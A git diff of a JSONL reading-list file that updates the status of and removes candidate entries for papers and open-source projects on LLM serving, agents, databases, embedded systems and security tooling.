diff --git a/data/candidates.jsonl b/data/candidates.jsonl
index 52c643aea..575897f16 100644
--- a/data/candidates.jsonl
+++ b/data/candidates.jsonl
@@ -1218,43 +1218,43 @@
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@@ -1320,47 +1320,48 @@
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@@ -1423,71 +1424,71 @@
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+{"slug":"erlang-otp","area":"projects","topic":"runtimes","title":"Erlang/OTP — BEAM 虚拟机与 actor 标准库","meta":{"col3":"~12k","col4":"抢占式调度 + 隔离堆 + supervisor，电信级容错语言根基"},"url":"https://github.com/erlang/otp","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"}
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@@ -1510,7 +1511,7 @@
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-{"slug":"tinygo","area":"projects","topic":"runtimes","title":"TinyGo — 嵌入式 / wasm 的 Go 子集","meta":{"col3":"~16k","col4":"LLVM 后端，把 Go 跑在 ARM / RISC-V / Wasm 上"},"url":"https://github.com/tinygo-org/tinygo","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"}
+{"slug":"tinygo","area":"projects","topic":"runtimes","title":"TinyGo — 嵌入式 / wasm 的 Go 子集","meta":{"col3":"~16k","col4":"LLVM 后端，把 Go 跑在 ARM / RISC-V / Wasm 上"},"url":"https://github.com/tinygo-org/tinygo","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-runtimes.md"}
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@@ -1521,498 +1522,994 @@
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-{"slug":"kv-fold","area":"papers","topic":"machine-learning","title":"KV-Fold: One-Step KV-Cache Recurrence for Long-Context Inference","meta":{"col3":"2026","col4":"Training-free long-context inference: treats KV cache as fold accumulator across recurrence steps. High priority for vLLM lens."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"vericache","area":"papers","topic":"machine-learning","title":"VeriCache: Turning Lossy KV Cache into Lossless LLM Inference","meta":{"col3":"2026","col4":"Speculative-decoding twist: drafts with compressed KV, verifies against full KV. High priority for vLLM lens."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"oscar-int2-kv","area":"papers","topic":"machine-learning","title":"OSCAR: Offline Spectral Covariance-Aware Rotation for 2-bit KV Cache Quantization","meta":{"col3":"2026","col4":"INT2 KV quant integrated into vLLM/SGLang via custom kernel; covariance-aware rotation. High priority direct vLLM relevance."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"nestedkv","area":"papers","topic":"machine-learning","title":"NestedKV: Nested Memory Routing for Long-Context KV Cache Compression","meta":{"col3":"2026","col4":"Combines global/block/sliding-window anchors with multi-time-scale anomaly scoring."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"triaxialkv","area":"papers","topic":"machine-learning","title":"TriAxialKV: Extreme Low-Precision KV-Cache Quantization for Agentic Inference","meta":{"col3":"2026","col4":"Mixed-precision KV quant tailored to agent workloads (multi-turn, tool calls, multi-modal)."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"memory-tool-use-agents","area":"papers","topic":"machine-learning","title":"When Does Memory Help Multi-Trajectory Inference for Tool-Use LLM Agents?","meta":{"col3":"2026","col4":"Decouples memory abstraction from inference strategy across best-of-N/beam/MCTS. High priority for agent design lens."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"storm-multi-agent-state","area":"papers","topic":"machine-learning","title":"STORM: State-Oriented Management for Multi-Agent Collaboration","meta":{"col3":"2026","col4":"Replaces git-worktree isolation with explicit shared-state mediation for multi-agent."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"cci-agent-scaffolding","area":"papers","topic":"machine-learning","title":"Cross-Component Interference in LLM Agent Scaffolding","meta":{"col3":"2026","col4":"Full 2^5 factorial over plan/tool/memory/reflection/retrieval. All-In is suboptimal. High priority for agent eng."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"crossover-context-multi-agent","area":"papers","topic":"machine-learning","title":"When Context Hurts: Crossover Effect of Knowledge Transfer on Multi-Agent Design","meta":{"col3":"2026","col4":"2700 runs show context injection hurts as often as helps; single no-context baseline. High priority."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"spec-agent-separation-logic","area":"papers","topic":"formal-methods","title":"Agentic Separation Logic Specification Synthesis","meta":{"col3":"2026","col4":"LLM agent synthesizes propositional/first-order separation-logic specs for million-LOC C."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"amaryllis-probabilistic-iris","area":"papers","topic":"formal-methods","title":"First Steps Towards Probabilistic Iris (Amaryllis)","meta":{"col3":"2026","col4":"First general-purpose probabilistic separation logic supporting dynamic heap allocation."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"first-class-refinement-scala","area":"papers","topic":"compilers-pl","title":"First-Class Refinement Types for Scala","meta":{"col3":"2026","col4":"Refinement types as ordinary types; interact with subtyping/inference/pattern matching."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"tutti-ssd-kv-cache","area":"papers","topic":"machine-learning","title":"Tutti: Making SSD-Backed KV Cache Practical for Long-Context LLM Serving","meta":{"col3":"2026","col4":"GPU io_uring + GPU-native object store eliminates CPU intervention from SSD-backed KV. High priority for vLLM lens."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"hexagent-agentic-scheduling","area":"papers","topic":"machine-learning","title":"HexAGenT: Workflow- and Heterogeneity-Aware Scheduling for Agentic LLM Serving","meta":{"col3":"2026","col4":"Schedules online-revealed agent DAGs across heterogeneous A100/H100/H200 PD-disaggregated. High priority."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"llm-serving-needs-math","area":"papers","topic":"machine-learning","title":"LLM Serving Needs Mathematical Optimization, Not Just Heuristics","meta":{"col3":"2026","col4":"Position paper: vLLM/SGLang use FIFO + LRU + JSQ unchanged from classical distributed sys. High priority."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"vibeserve","area":"papers","topic":"machine-learning","title":"VibeServe: Can AI Agents Build Bespoke LLM Serving Systems?","meta":{"col3":"2026","col4":"Multi-agent loop synthesizes whole serving stacks end-to-end; matches vLLM in some configs."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"qwen-vla","area":"papers","topic":"machine-learning","title":"Qwen-VLA: Unifying Vision-Language-Action across Tasks, Environments, Embodiments","meta":{"col3":"2026","col4":"Big-team Qwen unified embodied foundation model: DiT action decoder atop Qwen-VL."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"visualthink-vla","area":"papers","topic":"machine-learning","title":"VisualThink-VLA: Visual Intermediate Reasoning for Low-Latency VLA Policies","meta":{"col3":"2026","col4":"Replaces text chain-of-thought with visual evidence tokens; 8.4s to 0.37s per step."},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"hyprland","area":"projects","topic":"operating-systems","title":"Hyprland","meta":{"col3":"C++","col4":"独立的动态平铺 Wayland compositor，36k star、月增 ~900；学 Linux 桌面 infra/合成器架构、wlroots。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"gitleaks","area":"projects","topic":"security-privacy","title":"Gitleaks","meta":{"col3":"Go","col4":"Secret 扫描 CLI，27k star，pre-commit/CI 标配；规则引擎和 git history 遍历是 DevSec 范式。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"bitwarden-server","area":"projects","topic":"security-privacy","title":"Bitwarden Server","meta":{"col3":"C#/.NET","col4":"开源密码管理器后端，19k star；多租户加密存储与 zero-knowledge 设计参考。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"nextcloud-server","area":"projects","topic":"backend-api","title":"Nextcloud Server","meta":{"col3":"PHP","col4":"自托管云存储/协作平台，35k star；plugin 体系/文件同步协议/共享权限模型。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"paperless-ngx","area":"projects","topic":"backend-api","title":"Paperless-ngx","meta":{"col3":"Python/Django","col4":"文档管理系统，41k star、月增 1700；OCR + 索引 + tag 自动化。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"tabby-terminal","area":"projects","topic":"cli","title":"Tabby Terminal","meta":{"col3":"TypeScript/Electron","col4":"现代化跨平台终端模拟器，71k star；学跨平台 GUI 封装 ssh/serial/wsl 多会话。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"authentik","area":"projects","topic":"security-privacy","title":"Authentik","meta":{"col3":"Python","col4":"开源 IdP，22k star，OAuth2/OIDC/SAML 全协议；自托管 SSO 替代 Keycloak。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"ente","area":"projects","topic":"security-privacy","title":"Ente","meta":{"col3":"Dart+Go","col4":"端到端加密相册/网盘，27k star；客户端加密 + 服务端零知识架构。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"nango","area":"projects","topic":"backend-api","title":"Nango","meta":{"col3":"TypeScript","col4":"Unified API for 200+ SaaS，9.5k star、月增 2200；OAuth/连接器/sync 引擎。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"openai-codex-cli","area":"projects","topic":"cli","title":"OpenAI Codex CLI","meta":{"col3":"Rust","col4":"OpenAI 终端编程 agent，87k star、月增 8k；与 Claude Code 对照学 sandbox/工具调用/审批流。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"ccusage","area":"projects","topic":"cli","title":"ccusage","meta":{"col3":"Rust","col4":"分析本地 Claude Code/Codex token 使用与成本，15k star；dev-tooling 自反馈基础设施。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"zizmor","area":"projects","topic":"security-privacy","title":"zizmor","meta":{"col3":"Rust","col4":"GitHub Actions 静态分析器，5.4k star；CI workflow 漏洞模式（pwn requests/token 泄露）。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"ai-dynamo","area":"projects","topic":"machine-learning","title":"ai-dynamo / Dynamo","meta":{"col3":"Rust","col4":"Datacenter-Scale 分布式推理框架，7k star；vLLM 之外的多节点推理范式。High priority。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"cocoindex","area":"projects","topic":"machine-learning","title":"cocoindex","meta":{"col3":"Python","col4":"增量索引/数据流引擎给 long-horizon agent 用，10k star、月增 3k；agent 数据层（embedding/retrieval）。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
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-{"slug":"zig-build-rework","area":"projects","topic":"compilers-pl","title":"Zig Build System Reworked","meta":{"col3":"Zig","col4":"build.zig 大改：把 step graph 拆成纯描述+并发执行；与 Bazel/Buck2 对比能看清声明式 build 架构。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"lfm2-5-8b-a1b-moe","area":"papers","topic":"machine-learning","title":"Liquid AI LFM2.5 8B-A1B MoE Trained on 38T Tokens","meta":{"col3":"2026","col4":"非 Transformer/SSM 混合 MoE，激活 1B 参数；38T token 训练规模公开数据点。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
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-{"slug":"compiler-perf-left-on-table","area":"papers","topic":"compilers-pl","title":"Leaving performance on the table","meta":{"col3":"2026","col4":"具体 benchmark 展示编译器没用尽的优化机会（PGO、LTO、自动向量化盲区）。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
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-{"slug":"hekaton","area":"papers","topic":"databases","title":"Hekaton: SQL Server's Memory-Optimized OLTP Engine","meta":{"col3":"2013","col4":"CMU 15-721 多周引用；MVCC + lock-free + native compilation 工业首发。High priority distsys/db classic。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"bw-tree","area":"papers","topic":"databases","title":"The Bw-Tree: A B-tree for New Hardware Platforms","meta":{"col3":"2013","col4":"CMU 15-721 索引专题；lock-free B-tree + log-structured page store。High priority。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"wisckey","area":"papers","topic":"databases","title":"WiscKey: Separating Keys from Values in SSD-conscious Storage","meta":{"col3":"2016","col4":"FAST'16 best paper；解释 RocksDB write-amplification 根源 + Titan/BlobDB 设计动机。High priority。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"oltp-looking-glass","area":"papers","topic":"databases","title":"OLTP Through the Looking Glass, and What We Found There","meta":{"col3":"2008","col4":"Stonebraker 拆解 90% 时间在 buffer/lock/log；H-Store/VoltDB/Hekaton/SiloR 共同前提。High priority。"},"url":"","status":"new","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
-{"slug":"llmsurgeon-data-mixture","area":"papers","topic":"machine-learning","title":"LLMSurgeon: Diagnosing Data Mixture of Large Language Models","meta":{"col3":"2026","col4":"arXiv 2605.30348；从生成文本反推预训练数据 domain 分布；data provenance auditing 新框架。"},"url":"https://arxiv.org/abs/2605.30348","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"rim-latent-reasoning","area":"papers","topic":"machine-learning","title":"Reasoning in Memory: Unlocking the Working Memory of LLMs for Latent Reasoning","meta":{"col3":"2026","col4":"arXiv 2605.30343；用固定 memory token 替代 autoregressive CoT；Hochreiter 团队。"},"url":"https://arxiv.org/abs/2605.30343","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"hullft-ttft","area":"papers","topic":"machine-learning","title":"HullFT: Efficient Test-Time Finetuning via Convex Reconstruction and Gradient Caching","meta":{"col3":"2026","col4":"arXiv 2605.30337；Frank-Wolfe 投影 + gradient reuse；TTFT 质量-速度新前沿。"},"url":"https://arxiv.org/abs/2605.30337","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"compositional-incoherence","area":"papers","topic":"machine-learning","title":"Locally Coherent, Globally Incoherent: Bounding Compositional Incoherence in Multi-Component LLM Agents","meta":{"col3":"2026","col4":"arXiv 2605.30335；多 LLM 组件违反概率公理；Boyle-Dykstra projection 修复。"},"url":"https://arxiv.org/abs/2605.30335","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"demystifying-data-org","area":"papers","topic":"machine-learning","title":"Demystifying Data Organization for Enhanced LLM Training","meta":{"col3":"2026","col4":"arXiv 2605.30334；4 条数据排序原则 + STR/SAW；Microsoft data-efficacy 项目。"},"url":"https://arxiv.org/abs/2605.30334","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"compose-future-theorems","area":"papers","topic":"machine-learning","title":"COMPOSE: Composing Future Theorems from Citations and Formal Structure","meta":{"col3":"2026","col4":"arXiv 2605.30333；arXiv + Mathlib 双图条件生成；108K paired examples 数据集。"},"url":"https://arxiv.org/abs/2605.30333","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"soundness-bench","area":"papers","topic":"machine-learning","title":"SoundnessBench: Can Your AI Scientist Really Tell Good Research Ideas from Bad Ones?","meta":{"col3":"2026","col4":"arXiv 2605.30329；1099 ICLR 提案 soundness 评估；frontier LLM 普遍存在 optimism bias。"},"url":"https://arxiv.org/abs/2605.30329","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"resolution-diagnostics-llm","area":"papers","topic":"machine-learning","title":"Resolution Diagnostics for Paired LLM Evaluation","meta":{"col3":"2026","col4":"arXiv 2605.30315；Open LLM Leaderboard 27% 排名未达统计 resolution；常用 calculator 偏差 ~2x。"},"url":"https://arxiv.org/abs/2605.30315","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"mira-rubric","area":"papers","topic":"machine-learning","title":"MIRA: Mid-training Rubric Anchoring for Source-Aware Data Selection","meta":{"col3":"2026","col4":"arXiv 2605.30288；mid-training 阶段 self-anchored rubric discovery；半 token 匹配全语料。"},"url":"https://arxiv.org/abs/2605.30288","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"projection-bench","area":"papers","topic":"machine-learning","title":"ProjectionBench: Evaluating Scientific Hypothesis Generation in LLMs Under Progressive Information Disclosure","meta":{"col3":"2026","col4":"arXiv 2605.30284；逐步揭示信息测假说生成；GPT-5.4/Gemini 3.1 pro F1=0.7 minimal context。"},"url":"https://arxiv.org/abs/2605.30284","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"loong-doc-mt","area":"papers","topic":"machine-learning","title":"Loong: Human-Like Long Document Translation Agent with Adaptive Context Selection","meta":{"col3":"2026","col4":"arXiv 2605.30274；3E memory module；EN<->ZH/DE/FR 平均 +13.0 metric points。"},"url":"https://arxiv.org/abs/2605.30274","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"mem-ft-lora","area":"papers","topic":"machine-learning","title":"How LoRA Remembers? A Parametric Memory Law for LLM Finetuning","meta":{"col3":"2026","col4":"arXiv 2605.30260；ΔLoss vs effective params 幂律；token-level p>0.5 phase transition；MemFT 优化。"},"url":"https://arxiv.org/abs/2605.30260","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
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-{"slug":"maigret-osint","area":"projects","topic":"security-privacy","title":"soxoj/maigret: OSINT username search across 3000+ sites","meta":{"col3":"2026","col4":"GitHub trending 30d；Python；按 username 收集人物资料；红队/调研工具。"},"url":"https://github.com/soxoj/maigret","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"domain-expertise-real-moat","area":"projects","topic":"engineering-culture","title":"Domain expertise has always been the real moat","meta":{"col3":"2026","col4":"HN best 30d 539 pts；后 LLM 时代护城河讨论；适合 daily reflection。"},"url":"https://www.brethorsting.com/blog/2026/05/domain-expertise-has-always-been-the-real-moat/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
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-{"slug":"rendering-diffs-pierre","area":"projects","topic":"dataviz","title":"On Rendering Diffs (Pierre)","meta":{"col3":"2026","col4":"HN best 30d 204 pts；diff 渲染算法 + UX；适合 frontend/devtool 学习。"},"url":"https://pierre.computer/writing/on-rendering-diffs","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"liquid-ai-lfm2-moe","area":"projects","topic":"machine-learning","title":"Liquid AI LFM2-5: 8B-A1B MoE trained on 38T tokens","meta":{"col3":"2026","col4":"HN best 30d 241 pts；新一代 MoE 开源模型；架构 + 训练数据规模。"},"url":"https://www.liquid.ai/blog/lfm2-5-8b-a1b","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"frontend-lost-decade-ai","area":"projects","topic":"engineering-culture","title":"Is AI causing a repeat of frontend's lost decade?","meta":{"col3":"2026","col4":"HN 30d 399 pts；mastrojs 反思 AI 时代 frontend 复杂度回潮。"},"url":"https://mastrojs.github.io/blog/2026-05-23-is-AI-causing-a-repeat-of-frontends-lost-decade/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"compile-quake-1997","area":"projects","topic":"compilers-pl","title":"Let's compile Quake like it's 1997 (Fabien Sanglard)","meta":{"col3":"2026","col4":"HN 30d 219 pts；DOS toolchain 重现 Quake 编译；优秀经典 build/PL 教学。"},"url":"https://fabiensanglard.net/compile_like_1997/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
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-{"slug":"lakehouse-2021","area":"papers","topic":"databases","title":"Lakehouse: A New Generation of Open Platforms that Unify Data Warehousing and Advanced Analytics","meta":{"col3":"2021","col4":"CMU 15-721 syllabus；Databricks/Zaharia；现代 data platform 架构定义性论文。"},"url":"https://www.cidrdb.org/cidr2021/papers/cidr2021_paper17.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"columnar-storage-formats-2023","area":"papers","topic":"databases","title":"An Empirical Evaluation of Columnar Storage Formats","meta":{"col3":"2023","col4":"CMU 15-721；Parquet/ORC/Arrow 实证对比；理解列存格式权衡的必读。"},"url":"https://www.vldb.org/pvldb/vol17/p148-zeng.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"fastlanes-compression","area":"papers","topic":"databases","title":"The FastLanes Compression Layout: Decoding >100B Integers per Second with Scalar Code","meta":{"col3":"2023","col4":"CMU 15-721；CWI；列存压缩 SIMD-friendly 布局；DuckDB 采用基础。"},"url":"https://www.vldb.org/pvldb/vol16/p2132-afroozeh.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"velox-meta-2022","area":"papers","topic":"databases","title":"Velox: Meta's Unified Execution Engine","meta":{"col3":"2022","col4":"VLDB'22；Meta 统一 Presto/Spark/Pandas 执行后端；现代 vectorized engine 工业化案例。"},"url":"https://www.vldb.org/pvldb/vol15/p3372-pedreira.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"morsel-driven-2014","area":"papers","topic":"databases","title":"Morsel-Driven Parallelism: A NUMA-Aware Query Evaluation Framework","meta":{"col3":"2014","col4":"SIGMOD'14；HyPer/Umbra 调度核心；many-core 时代 query parallelism 标准范式。"},"url":"https://db.in.tum.de/~leis/papers/morsels.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"efficient-compile-2011","area":"papers","topic":"databases","title":"Efficiently Compiling Efficient Query Plans for Modern Hardware","meta":{"col3":"2011","col4":"VLDB'11；Neumann；data-centric query compilation；HyPer/Umbra 路线起点。"},"url":"https://www.vldb.org/pvldb/vol4/p539-neumann.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"wco-joins-relational-2020","area":"papers","topic":"databases","title":"Adopting Worst-Case Optimal Joins in Relational Database Systems","meta":{"col3":"2020","col4":"CMU 15-721；WCOJ 进入 RDBMS；图模式查询性能突破基础。"},"url":"https://www.vldb.org/pvldb/vol13/p1891-freitag.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"dremel-decade-2020","area":"papers","topic":"databases","title":"Dremel: A Decade of Interactive SQL Analysis at Web Scale","meta":{"col3":"2020","col4":"VLDB'20；Google 回顾 Dremel 十年演进；BigQuery 设计依据。"},"url":"https://research.google/pubs/dremel-a-decade-of-interactive-sql-analysis-at-web-scale/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"farm-2015","area":"papers","topic":"distributed-systems","title":"FaRM: Fast Remote Memory","meta":{"col3":"2014","col4":"NSDI'14；MSR；RDMA + 1-sided reads；现代低延迟存储系统起点。"},"url":"https://www.microsoft.com/en-us/research/publication/farm-fast-remote-memory/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"ray-2018","area":"papers","topic":"distributed-systems","title":"Ray: A Distributed Framework for Emerging AI Applications","meta":{"col3":"2018","col4":"OSDI'18；Berkeley；actor + task model 统一；现代 LLM training/inference 编排底座。"},"url":"https://www.usenix.org/conference/osdi18/presentation/moritz","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"on-demand-container-loading","area":"papers","topic":"distributed-systems","title":"On-demand Container Loading in AWS Lambda","meta":{"col3":"2023","col4":"USENIX ATC'23；Lambda 启动 GB-级镜像 sub-second；现代 serverless 冷启动工程。"},"url":"https://www.usenix.org/conference/atc23/presentation/brooker","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
-{"slug":"paged-attention-vllm","area":"papers","topic":"ml-systems","title":"Efficient Memory Management for Large Language Model Serving with PagedAttention","meta":{"col3":"2023","col4":"Kwon et al. SOSP'23；vLLM 核心机制：把 GPU 显存当 OS 页表管 KV cache，直接催生 vLLM/SGLang/TensorRT-LLM 整代推理引擎"},"url":"https://arxiv.org/abs/2309.06180","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"}
-{"slug":"flashattention-2","area":"papers","topic":"ml-systems","title":"FlashAttention-2: Faster Attention with Better Parallelism","meta":{"col3":"2023","col4":"Tri Dao；用 work partitioning 重排把 IO-aware attention 推到 A100 接近峰值，已是所有现代训练/推理 stack 的默认实现"},"url":"https://arxiv.org/abs/2307.08691","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"}
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-{"slug":"rate-monotonic-1973","area":"papers","topic":"embedded-iot","title":"Scheduling Algorithms for Multiprogramming in a Hard-Real-Time Environment","meta":{"col3":"1973","col4":"Liu-Layland；rate-monotonic 调度 + 利用率界定理；实时调度奠基论文"},"url":"https://dl.acm.org/doi/10.1145/321738.321743","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"}
-{"slug":"priority-inversion-mars-pathfinder","area":"papers","topic":"embedded-iot","title":"What Really Happened on Mars Pathfinder","meta":{"col3":"1997","col4":"Mike Jones；火星探路者 reset 案例；priority inheritance 经典 case study"},"url":"https://www.cs.unc.edu/~anderson/teach/comp790/papers/mars_pathfinder_long_version.html","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"}
-{"slug":"matter-protocol-1-0","area":"papers","topic":"embedded-iot","title":"Matter 1.0 Specification","meta":{"col3":"2022","col4":"CSA；统一 Apple/Google/Amazon/Samsung 智能家居协议；基于 Thread/WiFi + IPv6"},"url":"https://csa-iot.org/all-solutions/matter/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"}
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-{"slug":"zigbee-vs-matter-thread-2026","area":"papers","topic":"embedded-iot","title":"Zigbee vs. Matter over Thread: Understanding IoT Protocol Performance","meta":{"col3":"2026","col4":"实测 mesh 路由恢复 / 多跳延迟 / 吞吐 trade-off；选型决策依据"},"url":"https://arxiv.org/abs/2603.04221","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"}
-{"slug":"tflite-micro-2021","area":"papers","topic":"embedded-iot","title":"TensorFlow Lite Micro: Embedded ML for TinyML Systems","meta":{"col3":"2021","col4":"Google；针对 < 1MB SRAM MCU 的 ML runtime；Cortex-M0+ 上跑 keyword spotting/wake word"},"url":"https://arxiv.org/abs/2010.08678","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"}
-{"slug":"microtvm-2020","area":"papers","topic":"embedded-iot","title":"microTVM: Tensor Virtual Machine for Microcontrollers","meta":{"col3":"2020","col4":"TVM 团队；编译 ML 到 bare-metal MCU；自动调优 CMSIS-NN kernel"},"url":"https://tvm.apache.org/docs/topic/microtvm/index.html","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"}
-{"slug":"embassy-async-rust-embedded","area":"papers","topic":"embedded-iot","title":"Embassy: Modern Async Rust for Embedded Systems","meta":{"col3":"2023","col4":"Dirbaio；async/await + DMA-aware HAL；嵌入式 Rust 事实并发框架（STM32/nRF/RP2040）"},"url":"https://embassy.dev/book/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"}
-{"slug":"u-boot-bootloader","area":"papers","topic":"embedded-iot","title":"Das U-Boot Universal Bootloader","meta":{"col3":"2002","col4":"DENX；ARM/PPC/RISC-V 嵌入式启动事实标准；DTB / FIT image / verified boot 基础"},"url":"https://docs.u-boot.org/en/latest/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"}
-{"slug":"trustzone-arm-2009","area":"papers","topic":"embedded-iot","title":"ARM TrustZone Technology Overview","meta":{"col3":"2009","col4":"ARM；CPU 双世界硬件隔离；OP-TEE/Android Keystore/Samsung Knox 基础"},"url":"https://developer.arm.com/documentation/PRD29-GENC-009492/c/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"}
